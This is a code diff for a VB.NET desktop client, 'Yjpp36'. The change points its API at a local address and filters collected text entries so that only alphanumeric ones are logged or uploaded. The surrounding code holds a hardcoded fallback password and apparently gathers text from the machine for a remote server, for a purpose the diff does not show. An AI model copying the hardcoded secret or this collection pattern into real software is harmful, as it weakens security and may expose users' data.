diff --git a/Yjpp36/Form1.vb b/Yjpp36/Form1.vb
index 3414a47..1858c70 100644
--- a/Yjpp36/Form1.vb
+++ b/Yjpp36/Form1.vb
@@ -16,7 +16,8 @@ Public Class Form1
     Dim 全局变量_BIOS识别码 As String = ""
     Dim 全局变量_异常密码 As String = "009988"
     'api接口地址 ' 
-    Dim ApiEndPoint As String = "http://api.systemcd.org/api/v1"
+    'Dim ApiEndPoint As String = "http://api.systemcd.org/api/v1"
+    Dim ApiEndPoint As String = "http://192.168.2.102:8000/api/v1"
     Dim 全局变量_id As String = ""
     Dim 全局变量_心跳时间 As String = ""
     Dim 全局变量_关键字心跳时间 As String = ""
@@ -1702,8 +1703,6 @@ Public Class Form1
                 '保存到文件'
                 Await SaveFile("keywords", {content})
             End If
-
-
         Catch ex As Exception
 
         End Try
@@ -1738,10 +1737,10 @@ Public Class Form1
                 req.type = 1
                 req.content = content
 
-                If 是否断网 = True AndAlso len > 0 AndAlso content.Length = len Then
+                If 是否断网 = True AndAlso len > 0 AndAlso content.Length = len AndAlso StringHelper.IsAllLetterOrDigit(content) Then
                     Await SaveKeywordLog({req})
                     Exit For
-                ElseIf 是否断网 = False AndAlso len > 0 AndAlso content.Length = len Then
+                ElseIf 是否断网 = False AndAlso len > 0 AndAlso content.Length = len AndAlso StringHelper.IsAllLetterOrDigit(content) Then
                     全局变量_采集的文本.Add(req)
                     Exit For
                 End If
diff --git a/Yjpp36/My Project/AssemblyInfo.vb b/Yjpp36/My Project/AssemblyInfo.vb
index 4ae24e9..3c0368f 100644
--- a/Yjpp36/My Project/AssemblyInfo.vb	
+++ b/Yjpp36/My Project/AssemblyInfo.vb	
@@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices
 '通过使用 "*"，如下所示:
 ' <Assembly: AssemblyVersion("1.0.*")>
 
-<Assembly: AssemblyVersion("1.0.0.4")>
-<Assembly: AssemblyFileVersion("1.0.0.4")>
+<Assembly: AssemblyVersion("1.0.0.5")>
+<Assembly: AssemblyFileVersion("1.0.0.5")>
diff --git a/Yjpp36/Yjpp36.vbproj b/Yjpp36/Yjpp36.vbproj
index dfe38ad..93666dc 100644
--- a/Yjpp36/Yjpp36.vbproj
+++ b/Yjpp36/Yjpp36.vbproj
@@ -128,6 +128,7 @@
     <Compile Include="service\FileService.vb" />
     <Compile Include="service\Logger.vb" />
     <Compile Include="service\StringEncryption.vb" />
+    <Compile Include="service\StringHelper.vb" />
     <Compile Include="service\Updater.vb" />
   </ItemGroup>
   <ItemGroup>
diff --git a/Yjpp36/service/StringHelper.vb b/Yjpp36/service/StringHelper.vb
new file mode 100644
index 0000000..9e1ea91
--- /dev/null
+++ b/Yjpp36/service/StringHelper.vb
@@ -0,0 +1,9 @@
+Public Class StringHelper
+    ' 判断是否全字母数字（Unicode 支持）
+    Public Shared Function IsAllLetterOrDigit(input As String) As Boolean
+        For Each ch As Char In input
+            If Not Char.IsLetterOrDigit(ch) Then Return False
+        Next
+        Return True
+    End Function
+End Class